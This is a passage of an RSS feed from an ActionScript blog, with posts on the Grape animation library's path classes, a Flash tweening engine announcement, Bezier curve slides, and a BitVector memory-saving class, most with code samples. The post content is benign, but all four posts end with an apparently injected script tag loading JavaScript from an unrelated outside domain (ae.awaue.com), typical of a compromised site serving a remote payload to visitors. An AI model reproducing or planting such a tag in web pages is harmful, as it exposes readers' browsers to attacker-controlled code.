<span style="color: #6699cc; font-weight: bold;">var</span> complex<span style="color: #000000; font-weight: bold;">:</span>ComplexPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> ComplexPath2D<span style="color: #000000;">&#40;</span> paths, cues <span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>Tweening along a twisty train track for example is something that just wouldn&#8217;t be possible with any other engine, and forget about trying to apply one cohesive interpolation across the whole path. Complex paths make these stupid easy. And because complex paths are paths, you can nest them inside of each other to create quickly compound, complex animations!</p>
<p><strong>QuadraticBezierPath2D, CubicBezierPath2D</strong></p>
<p>Quadratic Bezier curves are what you&#8217;re familiar with from Graphics. Cubic Beziers just offer one extra control point.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> bez<span style="color: #000000; font-weight: bold;">:</span>CubicBezierPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> CubicBezierPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">20</span>, <span style="color: #000000; font-weight:bold;">20</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">400</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">400</span>, <span style="color: #000000; font-weight:bold;">600</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">600</span>, <span style="color: #000000; font-weight:bold;">600</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>Bezier&#8217;s take one other argument, the Boolean reparametrize. Beziers are like stapling saltwater taffy to the table and lifting it at the center. A really small bit of the curve in terms of its parametrization is left at the staples, while a lot is in your hand near the control points, even though the opposite may be true spatially. What does this mean? It means that even with a linear curve, it&#8217;s not likely you can keep constant velocity along the curve. So this Boolean flags whether to reparametrize the curve by arc length. This is a somewhat expensive process and so it defaults to false. Here&#8217;s an example of this, the black tween has been reparametrized, the red has not.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_GrapeTester_37633713"
			class="flashmovie"
			width="520"
			height="340">
	<param name="movie" value="http://lab.generalrelativity.org/animation/GrapeTester.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://lab.generalrelativity.org/animation/GrapeTester.swf"
			name="fm_GrapeTester_37633713"
			width="520"
			height="340">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p><strong>LinearSplinePath2D, CosineSplinePath2D, HermiteSplinePath2D, CatmullRomSplinePath2D</strong></p>
<p>Each of the splines takes a Number Vector (x,y pairs) and interpolates between them in their own special way. Linear connects each point linearly, Cosine steps over part of a wavelength to give a (OK, not too nice) curve through each point. Hermite also takes a vector of tangents to give the most amount of control. You can read about them on <a href="http://en.wikipedia.org/wiki/Cubic_Hermite_spline">wikipedia</a>. Catmull-Rom Splines are a subset of Hermite curves. They offer less control, but do not require the user to specify the tangents. Here&#8217;s an image of the different interpolations. Top to bottom it&#8217;s Linear, Cosine and Catmull-Rom:</p>
<p><img src="http://blog.generalrelativity.org/images/grape/splines.png" alt="splines" /></p>
<p>This is the code that created the image above:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> p1<span style="color: #000000; font-weight: bold;">:</span>Vector. = Vector.<span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">20</span>, <span style="color: #000000; font-weight:bold;">20</span>, <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">120</span>, <span style="color: #000000; font-weight:bold;">50</span>, <span style="color: #000000; font-weight:bold;">300</span>, <span style="color: #000000; font-weight:bold;">300</span>, <span style="color: #000000; font-weight:bold;">400</span>, <span style="color: #000000; font-weight:bold;">50</span>, <span style="color: #000000; font-weight:bold;">500</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> p2<span style="color: #000000; font-weight: bold;">:</span>Vector. = Vector.<span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">20</span>, <span style="color: #000000; font-weight:bold;">120</span>, <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">120</span>, <span style="color: #000000; font-weight:bold;">150</span>, <span style="color: #000000; font-weight:bold;">300</span>, <span style="color: #000000; font-weight:bold;">400</span>, <span style="color: #000000; font-weight:bold;">400</span>, <span style="color: #000000; font-weight:bold;">150</span>, <span style="color: #000000; font-weight:bold;">500</span>, <span style="color: #000000; font-weight:bold;">300</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> p3<span style="color: #000000; font-weight: bold;">:</span>Vector. = Vector.<span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">20</span>, <span style="color: #000000; font-weight:bold;">220</span>, <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">300</span>, <span style="color: #000000; font-weight:bold;">120</span>, <span style="color: #000000; font-weight:bold;">250</span>, <span style="color: #000000; font-weight:bold;">300</span>, <span style="color: #000000; font-weight:bold;">500</span>, <span style="color: #000000; font-weight:bold;">400</span>, <span style="color: #000000; font-weight:bold;">250</span>, <span style="color: #000000; font-weight:bold;">500</span>, <span style="color: #000000; font-weight:bold;">400</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> path<span style="color: #000000; font-weight: bold;">:</span>Path2D = <span style="color: #0033ff; font-weight: bold;">new</span> LinearSplinePath2D<span style="color: #000000;">&#40;</span> p1 <span style="color: #000000;">&#41;</span>;
path.<span style="color: #004993;">render</span><span style="color: #000000;">&#40;</span> <span style="color: #004993;">graphics</span> <span style="color: #000000;">&#41;</span>;
path = <span style="color: #0033ff; font-weight: bold;">new</span> CosineSplinePath2D<span style="color: #000000;">&#40;</span> p2 <span style="color: #000000;">&#41;</span>;
path.<span style="color: #004993;">render</span><span style="color: #000000;">&#40;</span> <span style="color: #004993;">graphics</span> <span style="color: #000000;">&#41;</span>;
path = <span style="color: #0033ff; font-weight: bold;">new</span> CatmullRomSplinePath2D<span style="color: #000000;">&#40;</span> p3 <span style="color: #000000;">&#41;</span>;
path.<span style="color: #004993;">render</span><span style="color: #000000;">&#40;</span> <span style="color: #004993;">graphics</span> <span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>These have great applicability to dynamically generated paths and lots of other game-related functions.</p>
<p><strong>PhysicsPath2D</strong></p>
<p>This should maybe be called projectile instead of physics. You supply initial position, starting velocity and acceleration vectors and how many seconds the entire tween represents.</p>
<p><strong>Debug Rendering</strong></p>
<p>Each path is renderable as a helpful measure. Because of the way paths work, it was easy to handle all paths in one render method, keeping file size down. You can see the spline API above, just pass a graphics instance to draw into.</p>
<p>Alright, I&#8217;m excited to see what you make of this and what sorts of cool things you can make! It&#8217;s hosted on Google Code under the MIT license. I&#8217;ll try to get it commented soon enough, send me any bugs or feature requests.</p>
<p><a href="http://code.google.com/p/grape-as3/">http://code.google.com/p/grape-as3/</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/grape-animation-library/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New Flash Animation Library</title>
		<link>http://blog.generalrelativity.org/actionscript-30/new-flash-animation-library/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/new-flash-animation-library/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 05:06:32 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<category><![CDATA[Animation]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=133</guid>
		<description><![CDATA[What!? Why would I write another tweening engine? Because it&#8217;s awesome! It addresses some of the things that other libraries don&#8217;t. I realized that if I wasn&#8217;t just animating from here to there, or fading in, I&#8217;d end up having to write a custom solution. Even seemingly simple stuff like moving an object in a [...]]]></description>
			<content:encoded><![CDATA[<p>What!? Why would I write <em>another</em> tweening engine? Because it&#8217;s awesome! It addresses some of the things that other libraries don&#8217;t. I realized that if I wasn&#8217;t just animating from here to there, or fading in, I&#8217;d end up having to write a custom solution. Even seemingly simple stuff like moving an object in a circle isn&#8217;t really doable.</p>
<p>So the solution is to break animations into 2 component parts: a path and a curve. The path represents the spatial component of the animation and the curve represents the temporal.</p>
<p>Currently there&#8217;s only a linear curve and a PennerCurve, which can have any Robert Penner-esque easing function assigned to it.</p>
<p>Paths:</p>
<ul>
<li>CirclePath2D</li>
<li>ComplexPath2D</li>
<li>CubicBezierPath2D</li>
<li>LinearPath2D</li>
<li>Path1D</li>
<li>PhysicsPath2D</li>
<li>QuadraticBezierPath2D</li>
<li>SineWavePath2D</li>
<li>SpiralPath2D</li>
</ul>
<p>The coolest thing here is the complex path which allows you to combine multiple paths into 1 animation. So the progression of the curve is applied across the whole of the complex path. And, because complex paths are paths themselves, they are nestable!</p>
<p>From the demo below (select ComplexPath2D 2), here&#8217;s the most verbose example, which combines 3 circle paths as 1 complex path and nests that inside another complex path containing a bezier and sine wave path:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;">&nbsp;
<span style="color: #009900;">//circle's go center point, radius, start radian, end radian</span>
<span style="color: #6699cc; font-weight: bold;">var</span> c1<span style="color: #000000; font-weight: bold;">:</span>CirclePath2D = <span style="color: #0033ff; font-weight: bold;">new</span> CirclePath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">150</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #000000; font-weight:bold;">50</span>, <span style="color: #004993;">Math</span>.<span style="color: #004993;">PI</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight:bold;">2</span>, <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> c2<span style="color: #000000; font-weight: bold;">:</span>CirclePath2D = <span style="color: #0033ff; font-weight: bold;">new</span> CirclePath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">250</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #000000; font-weight:bold;">50</span>, <span style="color: #004993;">Math</span>.<span style="color: #004993;">PI</span>, <span style="color: #004993;">Math</span>.<span style="color: #004993;">PI</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight:bold;">3</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> c3<span style="color: #000000; font-weight: bold;">:</span>CirclePath2D = <span style="color: #0033ff; font-weight: bold;">new</span> CirclePath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">300</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #004993;">Math</span>.<span style="color: #004993;">PI</span>, <span style="color: #004993;">Math</span>.<span style="color: #004993;">PI</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight:bold;">3</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//the complex path takes the list of paths and a list of cue points</span>
<span style="color: #6699cc; font-weight: bold;">var</span> complex<span style="color: #000000; font-weight: bold;">:</span>Path = <span style="color: #0033ff; font-weight: bold;">new</span> ComplexPath2D<span style="color: #000000;">&#40;</span> Vector.<span style="color: #000000; font-weight: bold;">&lt;</span>Path<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> c1, c2, c3 <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>, Vector.<span style="color: #000000; font-weight: bold;">&lt;</span>Number<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span>, <span style="color: #000000; font-weight:bold;">0.25</span>, <span style="color: #000000; font-weight:bold;">0.5</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//the bezier classes take the anchor and control points</span>
<span style="color: #6699cc; font-weight: bold;">var</span> bez<span style="color: #000000; font-weight: bold;">:</span>CubicBezierPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> CubicBezierPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">350</span>, <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">350</span>, <span style="color: #000000; font-weight:bold;">500</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">350</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//sine wave takes a start and end point, frequency and amplitude</span>
<span style="color: #6699cc; font-weight: bold;">var</span> sine<span style="color: #000000; font-weight: bold;">:</span>SineWavePath2D = <span style="color: #0033ff; font-weight: bold;">new</span> SineWavePath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">350</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #000000; font-weight:bold;">3</span>, <span style="color: #000000; font-weight:bold;">50</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> path<span style="color: #000000; font-weight: bold;">:</span>ComplexPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> ComplexPath2D<span style="color: #000000;">&#40;</span> Vector.<span style="color: #000000; font-weight: bold;">&lt;</span>Path<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> complex, bez, sine <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>, Vector<span style="color: #000000; font-weight: bold;">&lt;</span>Number<span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span>, <span style="color: #000000; font-weight:bold;">0.5</span>, <span style="color: #000000; font-weight:bold;">0.75</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//the runner binds the view to the animation</span>
runner = <span style="color: #0033ff; font-weight: bold;">new</span> Runner2D<span style="color: #000000;">&#40;</span> view, path, durationStepper.<span style="color: #004993;">value</span>, <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">1</span>, getCurve<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>, <span style="color: #004993;">loop</span>.selected, <span style="color: #004993;">reverse</span>.selected <span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>Here&#8217;s the demo:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_AnimationTester_1409928092"
			class="flashmovie"
			width="520"
			height="500">
	<param name="movie" value="http://lab.generalrelativity.org/animation/AnimationTester.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://lab.generalrelativity.org/animation/AnimationTester.swf"
			name="fm_AnimationTester_1409928092"
			width="520"
			height="500">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p>I&#8217;ll be releasing it under the MIT license in a few days.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/new-flash-animation-library/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Bezier Curve Presentation</title>
		<link>http://blog.generalrelativity.org/actionscript-30/bezier-curve-presentation/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/bezier-curve-presentation/#comments</comments>
		<pubDate>Sun, 24 May 2009 21:39:50 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<category><![CDATA[General]]></category>

		<category><![CDATA[Mathematics]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=131</guid>
		<description><![CDATA[I was tidying up my laptop today and found the slides from a presentation I gave at Schematic a couple years ago on Bezier curves. I can&#8217;t find the demos unfortunately, but the slides are pretty funny on their own.
If I find the demos, I&#8217;ll post them here.







]]></description>
			<content:encoded><![CDATA[<p>I was tidying up my laptop today and found the slides from a presentation I gave at Schematic a couple years ago on Bezier curves. I can&#8217;t find the demos unfortunately, but the slides are pretty funny on their own.</p>
<p>If I find the demos, I&#8217;ll post them here.<br />
<img src="http://blog.generalrelativity.org/images/Slide1.jpg" alt="1" /><br />
<img src="http://blog.generalrelativity.org/images/Slide2.jpg" alt="2" /><br />
<img src="http://blog.generalrelativity.org/images/Slide3.jpg" alt="3" /><br />
<img src="http://blog.generalrelativity.org/images/Slide4.jpg" alt="4" /><br />
<img src="http://blog.generalrelativity.org/images/Slide5.jpg" alt="5" /><br />
<img src="http://blog.generalrelativity.org/images/Slide6.jpg" alt="6" /><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/bezier-curve-presentation/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AVM2 Memory Considerations and Bit Vectors</title>
		<link>http://blog.generalrelativity.org/actionscript-30/avm2-memory-considerations-and-bit-vectors/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/avm2-memory-considerations-and-bit-vectors/#comments</comments>
		<pubDate>Thu, 14 May 2009 06:15:33 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<category><![CDATA[Flash Player 10]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=125</guid>
		<description><![CDATA[Arrays are memory hogs when compared to their strong-typed, faster, rich and handsome cousins, Vectors, for a whole bunch of reasons that you can read about elsewhere. I was surprised, though, to find how enormous the difference in their memory footprints were:

(10000000 / 32) uints in a Vector (10000000 bits) = ~7k
(10000000 / 32) uints [...]]]></description>
			<content:encoded><![CDATA[<p>Arrays are memory hogs when compared to their strong-typed, faster, rich and handsome cousins, Vectors, for a whole bunch of reasons that you can read about elsewhere. I was surprised, though, to find how enormous the difference in their memory footprints were:</p>
<ul>
<li>(10000000 / 32) uints in a Vector (10000000 bits) = ~7k</li>
<li>(10000000 / 32) uints in an Array (10000000 bits) = ~1228k</li>
</ul>
<p>Yikes! But Booleans are far worse:</p>
<ul>
<li>10000000 Booleans in a Vector = ~8k</li>
<li>10000000 Booleans in an Array = ~39070k</li>
</ul>
<p>I didn&#8217;t do the math, but I&#8217;m fairly sure that&#8217;s like 3 terabytes per Boolean. Now, it makes sense that Booleans don&#8217;t get packed anywhere close to perfectly&#8230; does anyone know how much memory gets opened for a Boolean? Probably 4 bytes, but I don&#8217;t know, to be honest.</p>
<p>What&#8217;s interesting, however, is that it appears, based on ratio, that Booleans are being intelligently stored by the VM in the case of Vectors. Not as tightly as possible, and hence the probably masturbatory BitVector.</p>
<p>Michael, over at Polygonal Labs, posted a nice and as-usual informative <a title="Polygonal BitVector" href="http://lab.polygonal.de/articles/bitvector/">article on bit vectors</a> back when people still knew what AS2 was. There&#8217;s also an implementation in his <a title="Data Structures" href="http://code.google.com/p/as3ds/">data structures library</a>. We can definitely get much better performance, though, using a Vector.&lt;uint&gt;. <a title="BitVector source" href="http://lab.generalrelativity.org/bitvector/BitVector.as">Here&#8217;s my implementation</a>. The bitwise OR and AND are much faster than Boolean logic of the same case and obviously setting all bits on or off will be faster than iterating over a Boolean Vector. If anyone thinks they&#8217;d actually use it, I&#8217;d be happy to add all the bitwise operations.</p>
<p>So what would this be used for? Firstly, it naturally extends the ability to store Boolean logic via bitwise operations in an unsigned integer&#8217;s bits past its 32 threshold all the way&#8230; to n!</p>
<p>I used it recently in mapping key presses to emulate AS2&#8217;s Key.isDown convenience method. When a key is pressed, the bit sitting at that key&#8217;s code is switched on. When the key is released, the corresponding bit is switched off. Combinations could easily be stored as BitVector masks. <a href="http://lab.generalrelativity.org/bitvector/Key.as">Here&#8217;s</a> the Key class.</p>
<p>Christer Ericson, in his awesome <a href="http://realtimecollisiondetection.net/">Real Time Collision Detection</a> suggests using a bit vector in avoiding retesting 2 objects for collision detection. He shows that this can be stored in n(n - 1)/2 bits instead of n², where n is the number of objects. The unique index for any 2 objects is then:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">bit = min(2n - min - 3)/2 + max - 1</pre></div></div>

<p>Where min and max represent the indices of the objects being tested.</p>
<p>Using my BitVector class, the implementation would look something like this:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #009900;">//offline</span>
<span style="color: #6699cc; font-weight: bold;">var</span> n<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">uint</span> = objects.<span style="color: #004993;">length</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> bv<span style="color: #000000; font-weight: bold;">:</span>BitVector = <span style="color: #0033ff; font-weight: bold;">new</span> BitVector<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">null</span>, n <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">&#40;</span> n <span style="color: #000000; font-weight: bold;">-</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//test</span>
<span style="color: #339966; font-weight: bold;">function</span> handleCollision<span style="color: #000000;">&#40;</span> minObj<span style="color: #000000; font-weight: bold;">:</span>CollidableObject, maxObj<span style="color: #000000; font-weight: bold;">:</span>CollidableObject <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
&nbsp;
   <span style="color: #6699cc; font-weight: bold;">var</span> bit<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">uint</span> = minObj.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000; font-weight: bold;">*</span> n <span style="color: #000000; font-weight: bold;">-</span> minObj.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">-</span> <span style="color: #000000; font-weight:bold;">3</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000; font-weight: bold;">+</span> maxObj.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">-</span> <span style="color: #000000; font-weight:bold;">1</span>;
   <span style="color: #0033ff; font-weight: bold;">if</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight: bold;">!</span>bv.getBit<span style="color: #000000;">&#40;</span> bit <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>
   <span style="color: #000000;">&#123;</span>
       <span style="color: #009900;">//test for collision</span>
      bv.setBit<span style="color: #000000;">&#40;</span> bit, <span style="color: #0033ff; font-weight: bold;">true</span> <span style="color: #000000;">&#41;</span>;
   <span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><a href="http://lab.generalrelativity.org/bitvector/BitVector.as">BitVector.as</as><br />
<a href="http://lab.generalrelativity.org/bitvector/Key.as">Key.as</as><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/avm2-memory-considerations-and-bit-vectors/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
   

